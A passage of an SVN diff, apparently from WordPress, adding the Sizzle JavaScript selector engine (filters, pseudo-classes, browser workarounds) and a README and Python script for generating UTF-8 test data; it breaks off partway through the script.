+					for ( i = 0; (item = curLoop[i]) != null; i++ ) {
+						if ( item ) {
+							found = filter( item, match, i, curLoop );
+							pass = not ^ found;
+
+							if ( inplace && found != null ) {
+								if ( pass ) {
+									anyFound = true;
+
+								} else {
+									curLoop[i] = false;
+								}
+
+							} else if ( pass ) {
+								result.push( item );
+								anyFound = true;
+							}
+						}
+					}
+				}
+
+				if ( found !== undefined ) {
+					if ( !inplace ) {
+						curLoop = result;
+					}
+
+					expr = expr.replace( Expr.match[ type ], "" );
+
+					if ( !anyFound ) {
+						return [];
+					}
+
+					break;
+				}
+			}
+		}
+
+		// Improper expression
+		if ( expr === old ) {
+			if ( anyFound == null ) {
+				Sizzle.error( expr );
+
+			} else {
+				break;
+			}
+		}
+
+		old = expr;
+	}
+
+	return curLoop;
+};
+
+Sizzle.error = function( msg ) {
+	throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Utility function for retreiving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+var getText = Sizzle.getText = function( elem ) {
+    var i, node,
+		nodeType = elem.nodeType,
+		ret = "";
+
+	if ( nodeType ) {
+		if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+			// Use textContent || innerText for elements
+			if ( typeof elem.textContent === 'string' ) {
+				return elem.textContent;
+			} else if ( typeof elem.innerText === 'string' ) {
+				// Replace IE's carriage returns
+				return elem.innerText.replace( rReturn, '' );
+			} else {
+				// Traverse it's children
+				for ( elem = elem.firstChild; elem; elem = elem.nextSibling) {
+					ret += getText( elem );
+				}
+			}
+		} else if ( nodeType === 3 || nodeType === 4 ) {
+			return elem.nodeValue;
+		}
+	} else {
+
+		// If no nodeType, this is expected to be an array
+		for ( i = 0; (node = elem[i]); i++ ) {
+			// Do not traverse comment nodes
+			if ( node.nodeType !== 8 ) {
+				ret += getText( node );
+			}
+		}
+	}
+	return ret;
+};
+
+var Expr = Sizzle.selectors = {
+	order: [ "ID", "NAME", "TAG" ],
+
+	match: {
+		ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+		CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+		NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
+		ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
+		TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
+		CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
+		POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
+		PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
+	},
+
+	leftMatch: {},
+
+	attrMap: {
+		"class": "className",
+		"for": "htmlFor"
+	},
+
+	attrHandle: {
+		href: function( elem ) {
+			return elem.getAttribute( "href" );
+		},
+		type: function( elem ) {
+			return elem.getAttribute( "type" );
+		}
+	},
+
+	relative: {
+		"+": function(checkSet, part){
+			var isPartStr = typeof part === "string",
+				isTag = isPartStr && !rNonWord.test( part ),
+				isPartStrNotTag = isPartStr && !isTag;
+
+			if ( isTag ) {
+				part = part.toLowerCase();
+			}
+
+			for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
+				if ( (elem = checkSet[i]) ) {
+					while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
+
+					checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
+						elem || false :
+						elem === part;
+				}
+			}
+
+			if ( isPartStrNotTag ) {
+				Sizzle.filter( part, checkSet, true );
+			}
+		},
+
+		">": function( checkSet, part ) {
+			var elem,
+				isPartStr = typeof part === "string",
+				i = 0,
+				l = checkSet.length;
+
+			if ( isPartStr && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+
+				for ( ; i < l; i++ ) {
+					elem = checkSet[i];
+
+					if ( elem ) {
+						var parent = elem.parentNode;
+						checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
+					}
+				}
+
+			} else {
+				for ( ; i < l; i++ ) {
+					elem = checkSet[i];
+
+					if ( elem ) {
+						checkSet[i] = isPartStr ?
+							elem.parentNode :
+							elem.parentNode === part;
+					}
+				}
+
+				if ( isPartStr ) {
+					Sizzle.filter( part, checkSet, true );
+				}
+			}
+		},
+
+		"": function(checkSet, part, isXML){
+			var nodeCheck,
+				doneName = done++,
+				checkFn = dirCheck;
+
+			if ( typeof part === "string" && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+				nodeCheck = part;
+				checkFn = dirNodeCheck;
+			}
+
+			checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
+		},
+
+		"~": function( checkSet, part, isXML ) {
+			var nodeCheck,
+				doneName = done++,
+				checkFn = dirCheck;
+
+			if ( typeof part === "string" && !rNonWord.test( part ) ) {
+				part = part.toLowerCase();
+				nodeCheck = part;
+				checkFn = dirNodeCheck;
+			}
+
+			checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
+		}
+	},
+
+	find: {
+		ID: function( match, context, isXML ) {
+			if ( typeof context.getElementById !== "undefined" && !isXML ) {
+				var m = context.getElementById(match[1]);
+				// Check parentNode to catch when Blackberry 4.6 returns
+				// nodes that are no longer in the document #6963
+				return m && m.parentNode ? [m] : [];
+			}
+		},
+
+		NAME: function( match, context ) {
+			if ( typeof context.getElementsByName !== "undefined" ) {
+				var ret = [],
+					results = context.getElementsByName( match[1] );
+
+				for ( var i = 0, l = results.length; i < l; i++ ) {
+					if ( results[i].getAttribute("name") === match[1] ) {
+						ret.push( results[i] );
+					}
+				}
+
+				return ret.length === 0 ? null : ret;
+			}
+		},
+
+		TAG: function( match, context ) {
+			if ( typeof context.getElementsByTagName !== "undefined" ) {
+				return context.getElementsByTagName( match[1] );
+			}
+		}
+	},
+	preFilter: {
+		CLASS: function( match, curLoop, inplace, result, not, isXML ) {
+			match = " " + match[1].replace( rBackslash, "" ) + " ";
+
+			if ( isXML ) {
+				return match;
+			}
+
+			for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
+				if ( elem ) {
+					if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
+						if ( !inplace ) {
+							result.push( elem );
+						}
+
+					} else if ( inplace ) {
+						curLoop[i] = false;
+					}
+				}
+			}
+
+			return false;
+		},
+
+		ID: function( match ) {
+			return match[1].replace( rBackslash, "" );
+		},
+
+		TAG: function( match, curLoop ) {
+			return match[1].replace( rBackslash, "" ).toLowerCase();
+		},
+
+		CHILD: function( match ) {
+			if ( match[1] === "nth" ) {
+				if ( !match[2] ) {
+					Sizzle.error( match[0] );
+				}
+
+				match[2] = match[2].replace(/^\+|\s*/g, '');
+
+				// parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
+				var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
+					match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
+					!/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
+
+				// calculate the numbers (first)n+(last) including if they are negative
+				match[2] = (test[1] + (test[2] || 1)) - 0;
+				match[3] = test[3] - 0;
+			}
+			else if ( match[2] ) {
+				Sizzle.error( match[0] );
+			}
+
+			// TODO: Move to normal caching system
+			match[0] = done++;
+
+			return match;
+		},
+
+		ATTR: function( match, curLoop, inplace, result, not, isXML ) {
+			var name = match[1] = match[1].replace( rBackslash, "" );
+
+			if ( !isXML && Expr.attrMap[name] ) {
+				match[1] = Expr.attrMap[name];
+			}
+
+			// Handle if an un-quoted value was used
+			match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
+
+			if ( match[2] === "~=" ) {
+				match[4] = " " + match[4] + " ";
+			}
+
+			return match;
+		},
+
+		PSEUDO: function( match, curLoop, inplace, result, not ) {
+			if ( match[1] === "not" ) {
+				// If we're dealing with a complex expression, or a simple one
+				if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
+					match[3] = Sizzle(match[3], null, null, curLoop);
+
+				} else {
+					var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
+
+					if ( !inplace ) {
+						result.push.apply( result, ret );
+					}
+
+					return false;
+				}
+
+			} else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
+				return true;
+			}
+
+			return match;
+		},
+
+		POS: function( match ) {
+			match.unshift( true );
+
+			return match;
+		}
+	},
+
+	filters: {
+		enabled: function( elem ) {
+			return elem.disabled === false && elem.type !== "hidden";
+		},
+
+		disabled: function( elem ) {
+			return elem.disabled === true;
+		},
+
+		checked: function( elem ) {
+			return elem.checked === true;
+		},
+
+		selected: function( elem ) {
+			// Accessing this property makes selected-by-default
+			// options in Safari work properly
+			if ( elem.parentNode ) {
+				elem.parentNode.selectedIndex;
+			}
+
+			return elem.selected === true;
+		},
+
+		parent: function( elem ) {
+			return !!elem.firstChild;
+		},
+
+		empty: function( elem ) {
+			return !elem.firstChild;
+		},
+
+		has: function( elem, i, match ) {
+			return !!Sizzle( match[3], elem ).length;
+		},
+
+		header: function( elem ) {
+			return (/h\d/i).test( elem.nodeName );
+		},
+
+		text: function( elem ) {
+			var attr = elem.getAttribute( "type" ), type = elem.type;
+			// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
+			// use getAttribute instead to test this case
+			return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null );
+		},
+
+		radio: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type;
+		},
+
+		checkbox: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type;
+		},
+
+		file: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "file" === elem.type;
+		},
+
+		password: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "password" === elem.type;
+		},
+
+		submit: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return (name === "input" || name === "button") && "submit" === elem.type;
+		},
+
+		image: function( elem ) {
+			return elem.nodeName.toLowerCase() === "input" && "image" === elem.type;
+		},
+
+		reset: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return (name === "input" || name === "button") && "reset" === elem.type;
+		},
+
+		button: function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return name === "input" && "button" === elem.type || name === "button";
+		},
+
+		input: function( elem ) {
+			return (/input|select|textarea|button/i).test( elem.nodeName );
+		},
+
+		focus: function( elem ) {
+			return elem === elem.ownerDocument.activeElement;
+		}
+	},
+	setFilters: {
+		first: function( elem, i ) {
+			return i === 0;
+		},
+
+		last: function( elem, i, match, array ) {
+			return i === array.length - 1;
+		},
+
+		even: function( elem, i ) {
+			return i % 2 === 0;
+		},
+
+		odd: function( elem, i ) {
+			return i % 2 === 1;
+		},
+
+		lt: function( elem, i, match ) {
+			return i < match[3] - 0;
+		},
+
+		gt: function( elem, i, match ) {
+			return i > match[3] - 0;
+		},
+
+		nth: function( elem, i, match ) {
+			return match[3] - 0 === i;
+		},
+
+		eq: function( elem, i, match ) {
+			return match[3] - 0 === i;
+		}
+	},
+	filter: {
+		PSEUDO: function( elem, match, i, array ) {
+			var name = match[1],
+				filter = Expr.filters[ name ];
+
+			if ( filter ) {
+				return filter( elem, i, match, array );
+
+			} else if ( name === "contains" ) {
+				return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0;
+
+			} else if ( name === "not" ) {
+				var not = match[3];
+
+				for ( var j = 0, l = not.length; j < l; j++ ) {
+					if ( not[j] === elem ) {
+						return false;
+					}
+				}
+
+				return true;
+
+			} else {
+				Sizzle.error( name );
+			}
+		},
+
+		CHILD: function( elem, match ) {
+			var first, last,
+				doneName, parent, cache,
+				count, diff,
+				type = match[1],
+				node = elem;
+
+			switch ( type ) {
+				case "only":
+				case "first":
+					while ( (node = node.previousSibling) ) {
+						if ( node.nodeType === 1 ) {
+							return false;
+						}
+					}
+
+					if ( type === "first" ) {
+						return true;
+					}
+
+					node = elem;
+
+					/* falls through */
+				case "last":
+					while ( (node = node.nextSibling) ) {
+						if ( node.nodeType === 1 ) {
+							return false;
+						}
+					}
+
+					return true;
+
+				case "nth":
+					first = match[2];
+					last = match[3];
+
+					if ( first === 1 && last === 0 ) {
+						return true;
+					}
+
+					doneName = match[0];
+					parent = elem.parentNode;
+
+					if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) {
+						count = 0;
+
+						for ( node = parent.firstChild; node; node = node.nextSibling ) {
+							if ( node.nodeType === 1 ) {
+								node.nodeIndex = ++count;
+							}
+						}
+
+						parent[ expando ] = doneName;
+					}
+
+					diff = elem.nodeIndex - last;
+
+					if ( first === 0 ) {
+						return diff === 0;
+
+					} else {
+						return ( diff % first === 0 && diff / first >= 0 );
+					}
+			}
+		},
+
+		ID: function( elem, match ) {
+			return elem.nodeType === 1 && elem.getAttribute("id") === match;
+		},
+
+		TAG: function( elem, match ) {
+			return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match;
+		},
+
+		CLASS: function( elem, match ) {
+			return (" " + (elem.className || elem.getAttribute("class")) + " ")
+				.indexOf( match ) > -1;
+		},
+
+		ATTR: function( elem, match ) {
+			var name = match[1],
+				result = Sizzle.attr ?
+					Sizzle.attr( elem, name ) :
+					Expr.attrHandle[ name ] ?
+					Expr.attrHandle[ name ]( elem ) :
+					elem[ name ] != null ?
+						elem[ name ] :
+						elem.getAttribute( name ),
+				value = result + "",
+				type = match[2],
+				check = match[4];
+
+			return result == null ?
+				type === "!=" :
+				!type && Sizzle.attr ?
+				result != null :
+				type === "=" ?
+				value === check :
+				type === "*=" ?
+				value.indexOf(check) >= 0 :
+				type === "~=" ?
+				(" " + value + " ").indexOf(check) >= 0 :
+				!check ?
+				value && result !== false :
+				type === "!=" ?
+				value !== check :
+				type === "^=" ?
+				value.indexOf(check) === 0 :
+				type === "$=" ?
+				value.substr(value.length - check.length) === check :
+				type === "|=" ?
+				value === check || value.substr(0, check.length + 1) === check + "-" :
+				false;
+		},
+
+		POS: function( elem, match, i, array ) {
+			var name = match[2],
+				filter = Expr.setFilters[ name ];
+
+			if ( filter ) {
+				return filter( elem, i, match, array );
+			}
+		}
+	}
+};
+
+var origPOS = Expr.match.POS,
+	fescape = function(all, num){
+		return "\\" + (num - 0 + 1);
+	};
+
+for ( var type in Expr.match ) {
+	Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
+	Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
+}
+// Expose origPOS
+// "global" as in regardless of relation to brackets/parens
+Expr.match.globalPOS = origPOS;
+
+var makeArray = function( array, results ) {
+	array = Array.prototype.slice.call( array, 0 );
+
+	if ( results ) {
+		results.push.apply( results, array );
+		return results;
+	}
+
+	return array;
+};
+
+// Perform a simple check to determine if the browser is capable of
+// converting a NodeList to an array using builtin methods.
+// Also verifies that the returned array holds DOM nodes
+// (which is not the case in the Blackberry browser)
+try {
+	Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
+
+// Provide a fallback method if it does not work
+} catch( e ) {
+	makeArray = function( array, results ) {
+		var i = 0,
+			ret = results || [];
+
+		if ( toString.call(array) === "[object Array]" ) {
+			Array.prototype.push.apply( ret, array );
+
+		} else {
+			if ( typeof array.length === "number" ) {
+				for ( var l = array.length; i < l; i++ ) {
+					ret.push( array[i] );
+				}
+
+			} else {
+				for ( ; array[i]; i++ ) {
+					ret.push( array[i] );
+				}
+			}
+		}
+
+		return ret;
+	};
+}
+
+var sortOrder, siblingCheck;
+
+if ( document.documentElement.compareDocumentPosition ) {
+	sortOrder = function( a, b ) {
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+		}
+
+		if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
+			return a.compareDocumentPosition ? -1 : 1;
+		}
+
+		return a.compareDocumentPosition(b) & 4 ? -1 : 1;
+	};
+
+} else {
+	sortOrder = function( a, b ) {
+		// The nodes are identical, we can exit early
+		if ( a === b ) {
+			hasDuplicate = true;
+			return 0;
+
+		// Fallback to using sourceIndex (in IE) if it's available on both nodes
+		} else if ( a.sourceIndex && b.sourceIndex ) {
+			return a.sourceIndex - b.sourceIndex;
+		}
+
+		var al, bl,
+			ap = [],
+			bp = [],
+			aup = a.parentNode,
+			bup = b.parentNode,
+			cur = aup;
+
+		// If the nodes are siblings (or identical) we can do a quick check
+		if ( aup === bup ) {
+			return siblingCheck( a, b );
+
+		// If no parents were found then the nodes are disconnected
+		} else if ( !aup ) {
+			return -1;
+
+		} else if ( !bup ) {
+			return 1;
+		}
+
+		// Otherwise they're somewhere else in the tree so we need
+		// to build up a full list of the parentNodes for comparison
+		while ( cur ) {
+			ap.unshift( cur );
+			cur = cur.parentNode;
+		}
+
+		cur = bup;
+
+		while ( cur ) {
+			bp.unshift( cur );
+			cur = cur.parentNode;
+		}
+
+		al = ap.length;
+		bl = bp.length;
+
+		// Start walking down the tree looking for a discrepancy
+		for ( var i = 0; i < al && i < bl; i++ ) {
+			if ( ap[i] !== bp[i] ) {
+				return siblingCheck( ap[i], bp[i] );
+			}
+		}
+
+		// We ended someplace up the tree so do a sibling check
+		return i === al ?
+			siblingCheck( a, bp[i], -1 ) :
+			siblingCheck( ap[i], b, 1 );
+	};
+
+	siblingCheck = function( a, b, ret ) {
+		if ( a === b ) {
+			return ret;
+		}
+
+		var cur = a.nextSibling;
+
+		while ( cur ) {
+			if ( cur === b ) {
+				return -1;
+			}
+
+			cur = cur.nextSibling;
+		}
+
+		return 1;
+	};
+}
+
+// Check to see if the browser returns elements by name when
+// querying by getElementById (and provide a workaround)
+(function(){
+	// We're going to inject a fake input element with a specified name
+	var form = document.createElement("div"),
+		id = "script" + (new Date()).getTime(),
+		root = document.documentElement;
+
+	form.innerHTML = "<a name='" + id + "'/>";
+
+	// Inject it into the root element, check its status, and remove it quickly
+	root.insertBefore( form, root.firstChild );
+
+	// The workaround has to do additional checks after a getElementById
+	// Which slows things down for other browsers (hence the branching)
+	if ( document.getElementById( id ) ) {
+		Expr.find.ID = function( match, context, isXML ) {
+			if ( typeof context.getElementById !== "undefined" && !isXML ) {
+				var m = context.getElementById(match[1]);
+
+				return m ?
+					m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
+						[m] :
+						undefined :
+					[];
+			}
+		};
+
+		Expr.filter.ID = function( elem, match ) {
+			var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
+
+			return elem.nodeType === 1 && node && node.nodeValue === match;
+		};
+	}
+
+	root.removeChild( form );
+
+	// release memory in IE
+	root = form = null;
+})();
+
+(function(){
+	// Check to see if the browser returns only elements
+	// when doing getElementsByTagName("*")
+
+	// Create a fake element
+	var div = document.createElement("div");
+	div.appendChild( document.createComment("") );
+
+	// Make sure no comments are found
+	if ( div.getElementsByTagName("*").length > 0 ) {
+		Expr.find.TAG = function( match, context ) {
+			var results = context.getElementsByTagName( match[1] );
+
+			// Filter out possible comments
+			if ( match[1] === "*" ) {
+				var tmp = [];
+
+				for ( var i = 0; results[i]; i++ ) {
+					if ( results[i].nodeType === 1 ) {
+						tmp.push( results[i] );
+					}
+				}
+
+				results = tmp;
+			}
+
+			return results;
+		};
+	}
+
+	// Check to see if an attribute returns normalized href attributes
+	div.innerHTML = "<a href='#'></a>";
+
+	if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
+			div.firstChild.getAttribute("href") !== "#" ) {
+
+		Expr.attrHandle.href = function( elem ) {
+			return elem.getAttribute( "href", 2 );
+		};
+	}
+
+	// release memory in IE
+	div = null;
+})();
+
+if ( document.querySelectorAll ) {
+	(function(){
+		var oldSizzle = Sizzle,
+			div = document.createElement("div"),
+			id = "__sizzle__";
+
+		div.innerHTML = "<p class='TEST'></p>";
+
+		// Safari can't handle uppercase or unicode characters when
+		// in quirks mode.
+		if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
+			return;
+		}
+
+		Sizzle = function( query, context, extra, seed ) {
+			context = context || document;
+
+			// Only use querySelectorAll on non-XML documents
+			// (ID selectors don't work in non-HTML documents)
+			if ( !seed && !Sizzle.isXML(context) ) {
+				// See if we find a selector to speed up
+				var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
+
+				if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
+					// Speed-up: Sizzle("TAG")
+					if ( match[1] ) {
+						return makeArray( context.getElementsByTagName( query ), extra );
+
+					// Speed-up: Sizzle(".CLASS")
+					} else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
+						return makeArray( context.getElementsByClassName( match[2] ), extra );
+					}
+				}
+
+				if ( context.nodeType === 9 ) {
+					// Speed-up: Sizzle("body")
+					// The body element only exists once, optimize finding it
+					if ( query === "body" && context.body ) {
+						return makeArray( [ context.body ], extra );
+
+					// Speed-up: Sizzle("#ID")
+					} else if ( match && match[3] ) {
+						var elem = context.getElementById( match[3] );
+
+						// Check parentNode to catch when Blackberry 4.6 returns
+						// nodes that are no longer in the document #6963
+						if ( elem && elem.parentNode ) {
+							// Handle the case where IE and Opera return items
+							// by name instead of ID
+							if ( elem.id === match[3] ) {
+								return makeArray( [ elem ], extra );
+							}
+
+						} else {
+							return makeArray( [], extra );
+						}
+					}
+
+					try {
+						return makeArray( context.querySelectorAll(query), extra );
+					} catch(qsaError) {}
+
+				// qSA works strangely on Element-rooted queries
+				// We can work around this by specifying an extra ID on the root
+				// and working up from there (Thanks to Andrew Dupont for the technique)
+				// IE 8 doesn't work on object elements
+				} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
+					var oldContext = context,
+						old = context.getAttribute( "id" ),
+						nid = old || id,
+						hasParent = context.parentNode,
+						relativeHierarchySelector = /^\s*[+~]/.test( query );
+
+					if ( !old ) {
+						context.setAttribute( "id", nid );
+					} else {
+						nid = nid.replace( /'/g, "\\$&" );
+					}
+					if ( relativeHierarchySelector && hasParent ) {
+						context = context.parentNode;
+					}
+
+					try {
+						if ( !relativeHierarchySelector || hasParent ) {
+							return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
+						}
+
+					} catch(pseudoError) {
+					} finally {
+						if ( !old ) {
+							oldContext.removeAttribute( "id" );
+						}
+					}
+				}
+			}
+
+			return oldSizzle(query, context, extra, seed);
+		};
+
+		for ( var prop in oldSizzle ) {
+			Sizzle[ prop ] = oldSizzle[ prop ];
+		}
+
+		// release memory in IE
+		div = null;
+	})();
+}
+
+(function(){
+	var html = document.documentElement,
+		matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
+
+	if ( matches ) {
+		// Check to see if it's possible to do matchesSelector
+		// on a disconnected node (IE 9 fails this)
+		var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
+			pseudoWorks = false;
+
+		try {
+			// This should fail with an exception
+			// Gecko does not error, returns false instead
+			matches.call( document.documentElement, "[test!='']:sizzle" );
+
+		} catch( pseudoError ) {
+			pseudoWorks = true;
+		}
+
+		Sizzle.matchesSelector = function( node, expr ) {
+			// Make sure that attribute selectors are quoted
+			expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
+
+			if ( !Sizzle.isXML( node ) ) {
+				try {
+					if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
+						var ret = matches.call( node, expr );
+
+						// IE 9's matchesSelector returns false on disconnected nodes
+						if ( ret || !disconnectedMatch ||
+								// As well, disconnected nodes are said to be in a document
+								// fragment in IE 9, so check for that
+								node.document && node.document.nodeType !== 11 ) {
+							return ret;
+						}
+					}
+				} catch(e) {}
+			}
+
+			return Sizzle(expr, null, null, [node]).length > 0;
+		};
+	}
+})();
+
+(function(){
+	var div = document.createElement("div");
+
+	div.innerHTML = "<div class='test e'></div><div class='test'></div>";
+
+	// Opera can't find a second classname (in 9.6)
+	// Also, make sure that getElementsByClassName actually exists
+	if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
+		return;
+	}
+
+	// Safari caches class attributes, doesn't catch changes (in 3.2)
+	div.lastChild.className = "e";
+
+	if ( div.getElementsByClassName("e").length === 1 ) {
+		return;
+	}
+
+	Expr.order.splice(1, 0, "CLASS");
+	Expr.find.CLASS = function( match, context, isXML ) {
+		if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
+			return context.getElementsByClassName(match[1]);
+		}
+	};
+
+	// release memory in IE
+	div = null;
+})();
+
+function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+		var elem = checkSet[i];
+
+		if ( elem ) {
+			var match = false;
+
+			elem = elem[dir];
+
+			while ( elem ) {
+				if ( elem[ expando ] === doneName ) {
+					match = checkSet[elem.sizset];
+					break;
+				}
+
+				if ( elem.nodeType === 1 && !isXML ){
+					elem[ expando ] = doneName;
+					elem.sizset = i;
+				}
+
+				if ( elem.nodeName.toLowerCase() === cur ) {
+					match = elem;
+					break;
+				}
+
+				elem = elem[dir];
+			}
+
+			checkSet[i] = match;
+		}
+	}
+}
+
+function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
+	for ( var i = 0, l = checkSet.length; i < l; i++ ) {
+		var elem = checkSet[i];
+
+		if ( elem ) {
+			var match = false;
+
+			elem = elem[dir];
+
+			while ( elem ) {
+				if ( elem[ expando ] === doneName ) {
+					match = checkSet[elem.sizset];
+					break;
+				}
+
+				if ( elem.nodeType === 1 ) {
+					if ( !isXML ) {
+						elem[ expando ] = doneName;
+						elem.sizset = i;
+					}
+
+					if ( typeof cur !== "string" ) {
+						if ( elem === cur ) {
+							match = true;
+							break;
+						}
+
+					} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
+						match = elem;
+						break;
+					}
+				}
+
+				elem = elem[dir];
+			}
+
+			checkSet[i] = match;
+		}
+	}
+}
+
+if ( document.documentElement.contains ) {
+	Sizzle.contains = function( a, b ) {
+		return a !== b && (a.contains ? a.contains(b) : true);
+	};
+
+} else if ( document.documentElement.compareDocumentPosition ) {
+	Sizzle.contains = function( a, b ) {
+		return !!(a.compareDocumentPosition(b) & 16);
+	};
+
+} else {
+	Sizzle.contains = function() {
+		return false;
+	};
+}
+
+Sizzle.isXML = function( elem ) {
+	// documentElement is verified for cases where it doesn't yet exist
+	// (such as loading iframes in IE - #4833)
+	var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
+
+	return documentElement ? documentElement.nodeName !== "HTML" : false;
+};
+
+var posProcess = function( selector, context, seed ) {
+	var match,
+		tmpSet = [],
+		later = "",
+		root = context.nodeType ? [context] : context;
+
+	// Position selectors must be done after the filter
+	// And so must :not(positional) so we move all PSEUDOs to the end
+	while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
+		later += match[0];
+		selector = selector.replace( Expr.match.PSEUDO, "" );
+	}
+
+	selector = Expr.relative[selector] ? selector + "*" : selector;
+
+	for ( var i = 0, l = root.length; i < l; i++ ) {
+		Sizzle( selector, root[i], tmpSet, seed );
+	}
+
+	return Sizzle.filter( later, tmpSet );
+};
+
+// EXPOSE
+
+window.Sizzle = Sizzle;
+
+})();
Index: /tags/5.0.20/tests/phpunit/data/formatting/utf-8/README
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/utf-8/README	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/utf-8/README	(revision 56912)
@@ -0,0 +1,15 @@
+The Python scripts are for generating test data, because Python's Unicode
+support is much, much, much, much better than PHP's.
+
+ * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8
+   into a few different formats (%-encoding, %u-encoding, &#decimal;)
+   and are used like normal UNIXy pipes.
+
+   Try:
+
+   `python urlencode.py < utf-8.txt > urlencoded.txt`
+   `python u-urlencode.py < utf-8.txt > u-urlencoded.txt`
+   `python entitize.py < utf-8.txt > entitized.txt`
+
+  * `windows-1252.py` converts Windows-only smart-quotes and things
+    into their unicode &#decimal reference; equivalents.
Index: /tags/5.0.20/tests/phpunit/data/formatting/utf-8/urlencode.py
===================================================================
--- /tags/5.0.20/tests/phpunit/data/formatting/utf-8/urlencode.py	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/formatting/utf-8/urlencode.py	(revision 56912)
@@ -0,0 +1,33 @@
+# Generates urlencoded.txt from utf-8.txt
+#
+# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode
+
+import urllib, codecs, re
+import sys
+
+# uncapitalize pct-encoded values, leave the rest alone
+capfix = re.compile("%([0-9A-Z]{2})");
+def fix(match):
+    octet = match.group(1)
+    intval = int(octet, 16)
+    if intval < 128:
+        return chr(intval).lower()
+    return '%' + octet.lower()
+
+def urlencode(line):
+    """Percent-encode each byte of non-ASCII unicode characters."""
+    line = urllib.quote(line.strip().encode("utf-8"))
+    line = capfix.sub(fix, line)
+    return line
+
+if __name__ == "__main__":
+    args = sys.argv[1:]
+    if args and args[0] in ("-h", "--help"):
+        print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt"
+        sys.exit(2)
